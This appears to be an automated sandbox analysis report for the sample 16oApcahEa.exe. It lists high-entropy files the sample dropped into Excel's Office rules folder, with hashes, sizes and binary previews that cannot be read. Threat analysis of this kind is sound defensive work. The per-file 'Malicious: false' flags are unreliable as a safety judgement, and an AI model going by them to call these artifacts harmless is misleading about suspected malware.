C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.850618314964347
Encrypted:	false
SSDEEP:	24:Ot6mL9gh2Uty9+hJrczcGtAFPaYG+0VDHfOGem9pbD:0uhA9Elczc5uDHfOXYJD
MD5:	E5F96025CFDD1F74A0F968D59D037D75
SHA1:	38AF5ADBB3A3B1EA8CEAE9AFDD7F4E95646B9318
SHA-256:	D743790FD189F49C6390EBA7A1FA09A8C87E04A452FBD6839A2DF6DC8A84A494
SHA-512:	367AE9E6C5E49B1A1B35AB66C714DEE2659290309510C007E32A3FF39EAFF962995AC8B9FF3D409845E2D901807DB888061D0461F63ED569FD6D47E5298D0E1B
Malicious:	false
Preview:	<?xml..c...o.8....].=..\%..F0@.G^3..t`.....%.c..L..,g.d.c9..0...~.W......DB.....&p..'..f...l...w..T.......T.X...9(..I....H.d.p.E........`.:.t..@>.......oS.v....@jf.r..y.{-.T..f.G]....!....e..Vf..g.3T!C.B.\|v`wx.A.d..eq.;....B.1..:...O...G7;..D<M.iD!WM). 0..(.4M@....N......f.$....n.+.O.yA%V.<w.:.@....?...ei.9..d{.PE..9....E..@..b4.L)..1+....)Z.E>m\|#2{]Br......C..o..8...2.^.V..d....]..b..Q...\|./...p~.eY.....V..3\^.._$t.......N..C.0 .X...)........W.?&..k@.BV.......{u....}...]....OjB.....b.....+^.[..iO..Z...m..,."......\7.3L...0.@...]..9.K.;..]..(.K...O..u....V..L.hR.zf......%a./....,.=.........B.y&._..[.E...v.^......}.,[....../M.V..2./ .wZ...v...V.z....0E.R.l'..y.i.<.AA..sE..GH.ky..O<...6T.."@..k..MUY...J.'..%0..FDa..4J...M....~V...t..!.<.4..'....S..m....<..7.1<@... VZ.X$...>....&...........>...im.'.?-.v...E.z5.*...:-2..f..'.K?.<...k..C......{.9T..Cq........tnk....8..$.....^....y..5..&6.+.....B...3K.lL2.Rx.....KHTxK.gVr...G.....ka.-.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.7714823349198
Encrypted:	false
SSDEEP:	24:CbTL6Ubj21VvPdCQ+M4nF3LMZjMhPVrVrrriM8qV9pbD:4QVdYLMOhVWqPJD
MD5:	827C6B0200A76F4312E347A0CDC02634
SHA1:	CDB3A344FF142E0D7845122CC19ED14740C7FCB1
SHA-256:	678FFE2DC4735AC0351F6C43E79A3E598A5E348FE1BD870717787C34FD75EECB
SHA-512:	6785FFAEA7D82171A62CBB463B0F34E13EC4BF38CA5CACC7C4869746E999B1F26C523B1D693E302743ADF5E94A578976593D74D77C3C809A3E588697FB75D511
Malicious:	false
Preview:	<?xmld...\|T.......Fb.\|\..\|3..X...~H...^.8..ske........;T....Xo..y...r......Jt.p&.8`... .DB......f..Jk..T..K...."......ORG.P.y.-<`H.%.S...P.H.Y.... .(.=..4.6../.4..O..,.z0.^.l.e..?.8l....&..q.V=T}l...mGY...............~C......2.FF.L...ED2.k@.....#.....:.%.o.Ot.+.q.7.....9....H.x,^Qr.....V.+`.U...)EA.$s..R..P.`...<...i..z......I......k#...,FMW..i..YXk\...#...+../PB..jR..X...S..1....mm.s..XD..Y...&q.T.J/.v...z7...V!.....ZY...{_...g......._(#W.{...qt..Yj\....e..S..........r...j:...Y..0@.>.vp..".;\|L...RK._m.#\.....L..D..........+..m...Z..]..,.K..........(.W..ss.......u1....A."<9O..h.8.....ee.../...m....!.\..^l......r.R.wCh...f`ua..-}.sL.{>.3...`.....bs.'.;D.v...<.[..{....;...u.k.3.H\....{U.>?..bf.8.u....@.u.....s ....\...z.aU........(.G@...znD..{p...p.H.b.....r.....O.i.}..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.920456172412636
Encrypted:	false
SSDEEP:	48:oRkhZFSptxppPYsswA7PNiFr8kXCFHqS2Z/tBSZqTTqkehpvtJD:oRYmdKwA71isHqDVZUhpf
MD5:	B6873AF03A83CABB54C1F74577E830A1
SHA1:	197B5FC131A1B6AE4E85BDE2920B20402D1BB5AA
SHA-256:	B3F094DC10E98A70115FD124FFC1FD16CF4D378685C73BA321CDAD0CA67E2020
SHA-512:	2817739E9D626B82A8E3D3099EB52CC72A619B63D7B89213193F70FB13660E4A82DB95741A860FDCF81199E260C69C603A77F87EA5E5865794098D495531AAA4
Malicious:	false
Preview:	<?xml..bP..........R..T.\].3@R..).9-.ug......`.^+N$.............^h7?.&r..yN..N..".:......+..(.PU.p...p.#-%{..#o.......Q.q.L27c.i'....k.....k,I...rK.=....T...[.f=. ..m<.g.M.#=.z....f+).-...Js.........L....[\|h.U.\|.2....@g.1:I.[P .PX.:6".5...~...o.Q..A/z.;\.O:.4...........]..S...3.......k..N.z...rn..".~...2.b...,.u...;...7.>....G..8.eI..3.1. ..+..s......2..E..q...~....{..@..=.z..O.!...!..Tm.x.-....4_..!].vB.>^k..D..3..`'..X....4p..5..{Qn..D.{~.[DO..m\..M..b.....0..2......:.)h;&./.&.}.\|n.$......N..=t../..z.F...{.....w..@`MqD.m.G.y.0...j..j.<~........>$..H.g>....1..3b.^@v.Ja8iy. .....N.....$..Vb.......7.O.o''.u....G..]F.n<..8.yW_.7DK...~-....7.g....q6+...V......c.6..9......Yx.}.H..4.`...Z..c.K..0<...b.&..........7.x...V..)+'x..D\|..Va.Jl.L.f".j...........EK.k.Q.....ppf...$D<..l..9P.....+.;...r......4...F]2...T6...7E. ..J8..}>..M3..s...r.=...R.Y\|.......C.4Pdk.j.%...I.. ...$TI.Q.._..{Wz......j..(..$.a.5._#.......6.K\|...../.....).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.853416111629827
Encrypted:	false
SSDEEP:	48:tlVDlAxqU4hgiAx2D73MESspTwjzRelLe4WkY7JD:tlVhA54OiM6Z3TwCrZYN
MD5:	D2C1636BF2681D64ADC0CAB264755D59
SHA1:	264161B0B3CF1C013C3B830BCF3C2F93E48E5875
SHA-256:	88804AC30BF0C09EA9A6CCAF50ED446DD27BDF8B1D77EF18D4D703A8505B1C3C
SHA-512:	1C80D5EEF5190B00404A70B0B6A15174966EFB9A155C0C0FA24F6AC588D1D34A08EEAA7D0D7409FE7EACECF64727514F877B8C1CAD1A17AD8B6E2DF12135BA41
Malicious:	false
Preview:	<?xmle..".....5'..G..S..Vm-...Q.mj.'\|..2...K..b....LH....b..\|...K.f.2.....[.m?B.BST.z.UhR{+..=[.oM.=Z....4..\|$Xw........(....D..kkHy.k`.......+......I.w..3Z8D4..O..9&....o..u.H.A5..v.t'p:V...6E......iz^...}c.X...(.{..r]..q._qn..A@......44zv...3.kP.....jF<...=e....-K.0...(....JV...3..Q.z..HVy#.V=.nj.F.9Q{.9....1..D}b./;.i.6....S5........]..=v..(.A.A.....l.\=E..+(.n\4.@..P..].'OP..W......\E..G[.'.%..KZ}..;....8!D..\U...].....NJC...dd..f.....Ea.M.(}.H\ll.._.4we..rX...R\0...B..B....S\..l...'...t......=.R(..RK.........=.....g..._.=A.#vdGtoF....C....!0..F.5..........MHZ.....i......h>...D..~.....\|.nw.{.+....poz.,l......\|Cvi.].....D......%>...^...h..o,......HI....9#...f.wKm.......lz7.......... .H..\.c.<Ly..k.J>S.C\a........a..O;$.63Z.P\z...Fy.....T.%.....H.7.K..b7W.#.T...V...H?..$7....RhNNF..o.Zx/..M.4]`-....=..b.#......`.y.5.!. .HB.bi.&.<J....F.....b,.t.H24...g.m8..E<(..Xc...S{/X8.s..q.41.*..k.t.k.F5k!D"...?..J...C9.....O.....'.....k+..-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.832045543370234
Encrypted:	false
SSDEEP:	24:VBkbLJTwazr+nzdOZuNwEPZETFNJlidvugXhTUI1nTV3opAG7+1HJ3z9pbD:VBkXJTwazr+nzdOZuNwEhETXfidvugXT
MD5:	425E047E9B2273972D1426E0D496EA0E
SHA1:	721FFF026087663A3640C96D82001F0EDA629437
SHA-256:	07B996325C9E4D20E1086D7027081ACC79D43F6554DF1148FD5D0D95E062ADA6
SHA-512:	61DDA849F93537B13606A481B8F4A2691B0EF8AD260D30DC38896D85DF4504C7C73D515C46274BC981DD59FE906D2FE310631656C0676CBE2CA6D79DDF504A33
Malicious:	false
Preview:	<?xml....P.AE.a+..x....}z............J4!."s).K..h...}.rv...CA.k..U....R.a.Y..Usu,.f_.(.W.-..n..>.U."W..d....1....k......D.+..g......e..).V.... !.w..i.x.c91.%vp..P.,..tI...`.>E....p^..G..)=3...=.?.~..(.(..".....P$.T\.q..S.7.).......z2.-&.8R#.W.M.<'_d.x..O...]...c.g.\...M........p..............'.Z.Oy...M..8a...}.>;=!k.O...L..U.O.e..YC.j...%...@tc..Kl..=.j....9......X[&.z.5R)....'".......N.\........2h..`..}/\....F$.[.5..I.m9%Go.Z...L......l...v,6..$.e...GM...n.i.Q.1`...\.Iq.....0.$..+T. .C...........0...."h.......vZ\'d....o-:9l...^...uB...!...Ry...n.\..&u.=.....1j.k........wc...B....r.sw..^y...7...H...... .G..7.^.X.P...i.V]..F..c.,.m....e...r.1.1..lC...YO.K.CJ.v.Q...N.L>...If@..d.@1..x&...K...yw......r...X.W....._...D.z.S..A....?....0..H.`..6..P=...../........I.s..N..............S-.....n.T3t#_.(H.n.xs^I....~.JG.i9S.0"7..J.I.h.P. N.1l...#.M.A&...p._)8....+..o..iRu..sk...+._3b..~GQ.D....i!R .....e.@6n....0.Y]...F}.O..lS9...[`4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.693106751771745
Encrypted:	false
SSDEEP:	12:haZC6S6V37HBlWBEKRyxN6NkXwIN36KFQm4sTyBEMn8l39M2cii9a:hmCAVllWBEHx8N8J6Kh0H8Z9pbD
MD5:	0486F8AA2F8D68DB8E485CBA19CB465D
SHA1:	B12554EFC657B3394781F6054C1D1517EF9E3622
SHA-256:	2240EA24956603C6F5B49CD3E5AD48BC46F7ECC8B885159EDF17B5C8D9BADEFA
SHA-512:	ED88376311A1955E3C8540A652CA681DB828B9FAD093B711C7CF48EFF475267186EA34F37F39640A3D1D0F6A973B3E4E52E4BDA958769E20B039769542446790
Malicious:	false
Preview:	<?xml...5.....e.....X...#D..u.tW...[.3.N..0q.....s....eB...s..=.I.......a.\|.P8(.(.... .m.........6.x2..~.3..F.w9^2XL..^t....Un'.z]...!Dy.k....!4.IB...N.;\..)\n.........R..w.p.z...P.'u..6...t....i...u.-(+..V....%.%..x...Vl.....z'!...>.........W._....j.KL...-..$.K_...&..,t7....A.RP.rn.c.dR..Z..........t..d....d../...u..a....].i.K.pF. SQ..>.+k...R..<......\.r.>..L..I.<\.2..G.-.b...7i...g..Y..~!D...4F...&X..SV..`..j..)....D^(..w.<.......=6.......<....f{.J..........\S....jcl&O.}R.r-P2OElC.....$......O9...M.d..H...`u?.v./s..BT..6......SP..3....J...$..pH>.(.\o.?.\k@.-G..A.1B.D.B.&....<..YA..g..28..NT.'....(.Z.%.r0..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.802733490260457
Encrypted:	false
SSDEEP:	24:VIOVl0kGVEVMPwqd8jYZDfT1/2kjiKNagCBEsq5G9pbD:V/ODPN8KDviK0BEsqyJD
MD5:	BE96786335191873F65A542309248116
SHA1:	084DDF40C67D9E44C4FA072EDAF25B103D91CD0B
SHA-256:	9E0A215207541D84663AA2918F9A13B6F6F55A7230D258FA8D516DA39B0BD0B2
SHA-512:	C96E755B50157B0929E8DFA4C400417FFF6DFF0DCDC3FE99C3B623C6525574936661037EE64E2A1CCE0854923AED6F548DCF9DC3A650D82DF8ED4A406C6ED016
Malicious:	false
Preview:	<?xmlA>..>..E....Y=...}...v..9X...mS...&..^...O..8E..Sn.C1.. ..S...T...V.5...........I.{xL...X.t.}..t.k.s.5(7....E.O..Mj....5.v.^#...(o..ev.c...S...5...i...g4..!.X....#..5.!.ROa~c...R...kNo.`..V....c(S..CC.)...z.......l..7.FbJ...'...V...Q.h".Z...kR..<4.E.;.u..K.U:..T]o.c..........[..}ISC7mT).L!X5z...6.@..".h.,..T-... .A....u.5.O.>T6.......D....krR..$.^R<f..5.+.~..J..v..qFcL\.....7}..b"..w.G....H1...[k..-..>u...Ky1\|s.)....P.....h...~...d....R.&f..~:>.k...K.eO......NE.E.=.....d9..~'(rl..S...<.....$`../!^.......x.. d.lK....c%l..1U.._...v.H..(.#.E..z...O+6.[.]...Z.jm..k9j.._..n..U.B^.@..\|.A.&N.4.........qn.g.-%..i.....'. .i=..:=^.T..68L..z.<%.];>..C.'......[.0m/...C...9c}<.....j..~.mt2Sa@...%.]...Gn`B#SG.....0-.....8.3Ai\..E....?.E.MFFF-...$.7.?.9H........).sb.,.D...1m.[.W.im&...l....M.x..Z>..N.....[....b.y.u..W...6-.[.Z...*Q..?".8>Xp.h.......d........%...?.p\|R).ak.)a..S.,...^.....v.`/.3....).OM>...2xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.780797888476192
Encrypted:	false
SSDEEP:	24:EQqjC4C3utaBKtMTY8kVZzx5dVNx0im9pbD:EQqCV/4uTY8kVBzvEJD
MD5:	B25679BE3A4C6DA5EA77413E9095BE37
SHA1:	48F31BC161EF5B0EF48E59FCC26FC99CD6276F44
SHA-256:	901AC4E6A90A832772CB86504F7DE7E5F8116F86BDDA1C202D7C07BF1EF39461
SHA-512:	8F1EB3449A9A42B6002C27834021EAE88138E8089A55E46647B1534F9041F82CCCC674143CA494907AFBB6557BB748439D4B5E25AAFD71912ED0AA2863D8BE7F
Malicious:	false
Preview:	<?xml...D..&.U.\..."W....._.$.,,..6..W.C=%qh<....#.!.nd....H...(......ld......)........./..U......@.8.]..q...<.h.&..VQ...('../.Y......<.k...........\|/.2IF.............U...j....l......7................_lOn6..lr.I..:.K1.=.. ...u.Uu....F0@d..u.+.......~..n'$W....3.43..^....Rq..(].rv.\|.".d.z....QR.`..{f..m..Nyvz.qlR;..&s..Au.5g..'I.{3bf^...6(u.V.......K.Z.(@A.;..t.t..1.0..2......+...P.:.lt.......&.....\.Phma.j.O..J.L.QeS.7..%.V...:.\pgD...66.+.....BLy.. ....."@....r..h.l....$..(.....sZ@..vB..N.. 2...;}.zHA......_....S...Y.......O.....#2...K.}..t.%.\..7.("......z.....:.........R.Zu......+.O>0......3.Q..z..-.....G.e..vA.!..].SVx....-.CC...v....%..j.7.`...H.5...&.KI......'..4....[,......P.{8..:R..$..v{x...p.....$.U...~..~.....1k.ZxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.859937441004817
Encrypted:	false
SSDEEP:	24:YA9tTl9eBPPFOo22WZk/bLXYhMYV1VpMpso7dOqz89Tnmu25hJuHZG6EBskc5xMy:Xfz6ngo22YgLXQnViawcqzgnmuAwZqt2
MD5:	91EB8CA6CE48BF5F6586D7A050BD02C8
SHA1:	266271721E3F9A89AE92E1EB64F5783440631B89
SHA-256:	0050FE8233A439E07FE5FD68B471F109081FE03135FD2A8DF4BD95EF423AC2D3
SHA-512:	FBBB880562DA1E325902C01772D34F59E554A7D06378785DCE44A2E9B1303B9DA3A818982982A3F00421F465EAD9B25A849CC9AEF249ED6FF12FC544B2980710
Malicious:	false
Preview:	<?xmle..v......Z.\|.O..~....s.\|.3^..tZq.7.d.&....y^7m.#.%Z..f.......`%....-.../..q.....%[....W.C-.D3...o..+.IL.M...8d...}.M..l.j...........?....b.R..-".-.....(...Q...i..c&...T....@8..7._:y.l....H.w.....0.f.. ^.....G..f...S..z;0.K.......G...M.\|..T#].k........ E..a..c...A......9..`....MiW.`'9{...Dz.d..k.sh?....3..1.$Y.\|jC...a.xA+.qm...JJzN....@..n....r..0...I.4.........#?P..~v...~..........h.!........;._a)v..]..)&......4..8.8i{O...Gr4..kO..;....S....D_.M.X.c.......)K.>.).....J..$..=4$EE.c.jo.}5u.i...AP..C...N@....2...h.......I]..6.UT).....\|.X.AT..V...C.9.T...b................V.....9.A......k@.Ls.q....D..=}cs.'......L.E....4.....O..n.....!OsdU........j.........&...d..9.r+..=..s..{.3\|.J...5.....U.=vKz..'{c...........P...7..n6.)..k.h,.E......V..M..&.....hUl([....u...N.7y......}......+.'<..vj.s...o..,.\K.LXH;..O..$...^.........Y,Z..OeaG@..:/.q.M.o.@../...Y7.r.$6....jI.........p..B.c.N.dk..Z^.Ub%....5...........%..*U.R.d7k.P...'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.911921810371868
Encrypted:	false
SSDEEP:	48:v6az4x9CQJs4aObq6vlD7NWiZj1A0y2EOxnVJD:iBWpObq6Dlj1Zy21RP
MD5:	12278E6FB5999FCCB8F0B3610EA581CF
SHA1:	4C2519D1CB3A1A223675B750CF7836CA3D581408
SHA-256:	C0C321E98B8C1EB09A3BF8F3381E507EC9948BF19D6FCE616BB83D1C31286C50
SHA-512:	804654A2C467ECBA027202EB5BD8846FB01D33BA33387A9841AC03F41C4D1F5AB30DA32B52F061B42CC047668C1D4E7046BDF697B97BE555A491AFFD4971FBF9
Malicious:	false
Preview:	<?xml.......#..?.B... ^9..'4C.K>.~.?.......!..0..~c.<&.e...).#g..JY..d.H..V.J...".9p.l..].@....u..b.LX.;...Y....n.;..)9.4...I.+D.y.........S.:X...:.e.f.wT........5.LS...l.....z..LH8p..+h#....!..c4E..0......ubpm[4_....LZ@...n a......B[.\|..d....~..+.......ro.$..<.....[..."..z.....<....<0!.o.2...KTlr.J^.I.R..,.`...^...-3!.h...W...e.$.5<.s7-..}.<........Y..%b.rN..zV..9.5J3...]Q.... ...U.v...Cu.0./.z.f.&..>.oz.Yq.(f..".5...\..W./J......v7:...........Y......,..._s.v,f.i..? .G.4O.=.".J....N..........F.>M....ba.....Q49W(...K...<.....f.N)..?C.{_Hp....4....t...:..b.. ..'Eq..%9..+gd..1..e=..kA.(..!.5......g.$..n..-..z9....[DI.....LoOK._.}.u..;.....x..L...3..Lc.I.....,......}v.E.d.i....<%V.;..9&L....QD%`........[O=.....>P.........`.$.?fgo...?OJ.J.T..!k..,b..l...f..8.;.?.\|S.l.q...,..K.X..!7.?..!....6j...:...#..t..L..z.IC..p#N.......<..\.o...z..\........0.Zr.n..."..zW.......uL..'....U.....\|lp]7f..^q...O.:....}8..Z.:......GR.]+.0..mZO..8.5.g..T....e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.897898245615316
Encrypted:	false
SSDEEP:	48:JXrNPdtNePZJEQdMZq8NIuUFPA86OLVJD:dB3NeT3dMBN6AOLP
MD5:	3948B4EDD1D763C0BCB935D4C91D7B16
SHA1:	DCB3C7CD3F6873E492C67E5AA8FB3C8A65F00C58
SHA-256:	69FC9A6D45124DD9853BD20837EA662298CBAA161DB0FB11A942BDDAA6AC9A08
SHA-512:	9EE91EB9EE2E4059EDD9D17E1B0A8FD387A29D3A32B411D533C52F3B18C77CEDA268A693352E5EC826DA8C3C6F8B2247F2D03230FB597F1FD5EFD6E42A586BF5
Malicious:	false
Preview:	<?xml..........u.`h8 .t..R.......l...Q.:\).g.....d...n2.)..z..)?..Qldb..........-nc......J..2r.....K;.L..3s.1..]..t.)...&....p(..j...~... k$1....G....6......j.t.....r......_k..sB5.IE~d...6..Y7...>..t.k....Ds..;3/......6..3K.....@.]S.........g.t.P..nT...z>.(...]ql..f..1;.G..:..^T.h..=PhH}.<ES2.T.i..N2g......l5..>..N...WvX.:..9..;.F.+X..Dm.:j0...../.......mlL'...T.<...+.e.eY....z..?.=^R}.rs...1..z.(v.9yl')....O......-M..5.?....^rt...j^G...<2..tf.].....b.h;.z.7.(.eD!.i..v.a.p........z..........Hd.7.K.{.E1.g.z...d.3UB-..T...#[.X.L..Zl.I..3.W.IgO.?....\|f.....LO.S.../I.a'~..?..Z._!l.=eMN....)Z^...4U.u....=E....%.:.VaO.y...%.Q.'Y..;..L.u...716..a...6...PWf..'-..P.Y.9W....g..2H....l....(L..P%.....O..%.H.......\.._..60.m.>....D.,...km.x[..0..,.9k...wr..j..~.._3..%.N.ih.6^..,9.....J......k...Y..j8.#..y......gO...,......l^...K...p.Tl.e..P..+.j...C.."....._....v..QGJ.{......V....g..LZN..c...HG.}...<Y.{F..R...W.."6...Q...."r....v....H...g2.2W.......$.MM.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.724610663316195
Encrypted:	false
SSDEEP:	12:ZAPM0d1cUMCEKEh5sPIuvHF//jznrmAwLMjvpfTDQvev3XiHaWWo0MaMDIjUVVVX:0deUJIY9jzrmfQxfTD4efiHx2A19pbD
MD5:	9489CDD3470D09810B5F3A098FD44AA2
SHA1:	5FA205F14D26E47472B1B17886F241F30CB030CC
SHA-256:	E9BBD403AB20B31E3EBF75C938C28A236181BD1D10D1D17A16CA8781B340660A
SHA-512:	F57DEF23E36617F1F98F610AD4A20A5D01ABA1E3B1CB6B51688BD67265AA1BA24FF93C5BEDC850E451FE87FBC36EA98A151C9D9069B8BA5FECFC1DAF1EC2BBCB
Malicious:	false
Preview:	<?xml....R.>...9.$._._U...%<......l......d>....0>.[C...%..\.m.$.;..A5D.$..R.XG...<.Wf;..]...Lt.s..}.I..2K.6...6h.v.vqp+.i.z}./..';A<..>dI......0a...?...Z....P..0.{..L$.....6.2...w4..^....q.....C.3S.u...\|(U.2.....:....B...%....tt.9.i?......h.2..f....;......E.h.5..}..0\78^.....u.........j..+n.....F...R.Z\..z.Y.x..Y..^h..V*t.x..b.M.7..:w.S:dr....0...!^.....(...-....#.T....b}I.I-..T._/.2[NT..'...k.7...S3..d}...Y... \|9..S......W4.N/\.....\|C.}:..._...I..R.j....`CPo...y..~..z\|.Mz.b".\|e..m..:. .Z..Bo9..L.E....D..........al.2....p.[!?....M%.$].A.ppD...(.y.$..p.a...U...,\|Q%ED...S0...H.."..w..'...<t<pp.'......P............T@..f.!..iCO/u[.?3ZV../..8.tn..}K..W%m..^+;..?.mg7.uD ......".bMZ...[X.Z.>.!.D..V.....Y..,..i.7...:C..c.^..p.[{......j..l.D..%adx...$~.Ce.\|~.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.720598817059181
Encrypted:	false
SSDEEP:	12:ESH0TA1vXn3FIFC2NzKARr35aHwE8Wi8OkzV2pBjgsHWLXDN0zG39M2cii9a:+816I2NzKABHE8lDCUpBjgs2PCzG39pX
MD5:	64F4366A800D9079D4CF5D8FF608F012
SHA1:	99C0CCD62D1F1742B9FCDC2C468F9054BA928B0D
SHA-256:	1B7D45C98407F7E5DAB2F7A4AA59D5CCC30507C4D1EBC2B8DE7BA1A583823299
SHA-512:	BBAEBE5B9F18AB05A05277EAE0D75A0655FEBEA9A900F28888F6F1A83C124E1F96891C402692EEFCE2486D51DAF6C9A1DB6C939A6405ADE0BF3083A8A918312C
Malicious:	false
Preview:	<?xml?.6 ...+..F.....$.....4..M..\|^...;.'.H.+`.J..W4<...5?.I._.G..n.a..x~.4j...g~^..A..t..&@..V...a..FNJ.H...TQ3J.....?..3..........L...L.8...\|....nR.i\..Y<....^1D..A.Y./+.0..).....s...o.a.@..r..j.....o]..}..E.!...U.....z.Og..`....<......n.Z.U...M..+.lk..K.+..I.tq......t....:.?..B.@.`m.../.x....;..b.B....gs...I.-..2......%........k........Y....-@T...G.C;R.d.=......`....d...W...1...[....o......@..G.@).[.?...>.ZT..Gr.....{-.......u$[x..\|.u.......6.Y.n<w...`..z.P-..x...n..q.....n...8...g..1....s.d..)..^.F..=\..M:m.......Nz;.l.......Z5...O...]^&...K......)G.#.#...g..L\..]@...I.i.././.,.[y.F.J.S.U.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.864639898739257
Encrypted:	false
SSDEEP:	24:wixsvuFK4A8A/aBNipNtcJ1v5w7WapATGVMgT4g0/XMnlWMc24Q1/M9pbD:wixsmK4atiBZapA6ZTK/o024Q9iJD
MD5:	ACF60B91163C7DD76CA433EF06B952A6
SHA1:	98ACE6FFF1707AA605DB9625B6D324CB16F0DF69
SHA-256:	FB0D93621D1D9E6187482466EE134C4B1F9AEA2E68A99B569356A551E12580DA
SHA-512:	8682909B7031042FC9AA6E83CFC54A908CC3D5D5A1974EAA13D29EC95EB2D950AE25BAAB8F5B8AD2C9A282DD623A79D2CBC069BF060F119B744F13B33F2439E3
Malicious:	false
Preview:	<?xml.......'..}#..Ef.R..KR.......;q.aP.q...U^#.....#`6..9..m.. ...a....U..7...D...a...Y.....5..T9..t...g...0..g......t.}.+.U..v"..=.Cv.t.\|d.74CI<.../...BR.I.ar..N.y8\|......v.-.S+.a.r.;.qt.{.bu..N.Q.,{..(..":...........fR..Fb...~...?O.b..k..]2F.+RF9.[..M.5.)..R.v..3g4.`c....6iK..gt53....L.N..#N._.1.?...0....../i...i.\.......zC._.'..3..IG...&.=.....(&.S.+Y.........t.&..7{..l$XPB.Q..h...y....M....S.C.......Zg..b.}Z.QN..M..?....i.$m...^.Z.8...X.?.).......=-......s..e..88H3T.....t2[i$.......&..y._..7..G.T..M...o...;.....Y/......xa9{.l.q.<<./...b.x(..%.Fu.&s..(4!.:bJ}.z"./.^<......,Qn......2.y.G.^...{.t..3...c..\U...Q....=Bt....r9.2..X-..>X.......}....\|....s...j.7.........Ia.r2.kW.2....c.`S.....g.F.a.Ip.7...T...}...N....R;.+..X..F..].rob...~k+..hG......../..........7.W..........5k;..On.@.....?}Yj..>.y.M..IB...y.......&.,...F.&vS...w..;......d....... .OK....g*...E`...X0...6.R0....O...._A.v.e....yS...[zu/8..c#..0.9z<.GX...(.;<.d}7>..z.....[....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.892284879847387
Encrypted:	false
SSDEEP:	24:zC64Ad1JH8jKFdwMsZNFcJN3sJK+ZxiA+SK9oe1Ksod5tBC5Lw60LfvEB9pbD:L3OKc3eH3OB7iA+SKkd5tBCJw60LfuJD
MD5:	E342CBDEC7F184C64C9DE6576309FF94
SHA1:	059C6E84344E29E136B0647BF7375CA3AECB70A7
SHA-256:	872C90E0C04011B0BADD49CB8A1E74FB1BFAF1E19D9661CD056C84104F1BA4EA
SHA-512:	1F031B27F81F88BA1A48F6289A9B7BB6A2BF0174F15C24F6717E3BE5949C9EEF83000B4B778995A0A9ECCB842C6307D9A5EA86A9F7911CA8897E53293AD549C7
Malicious:	false
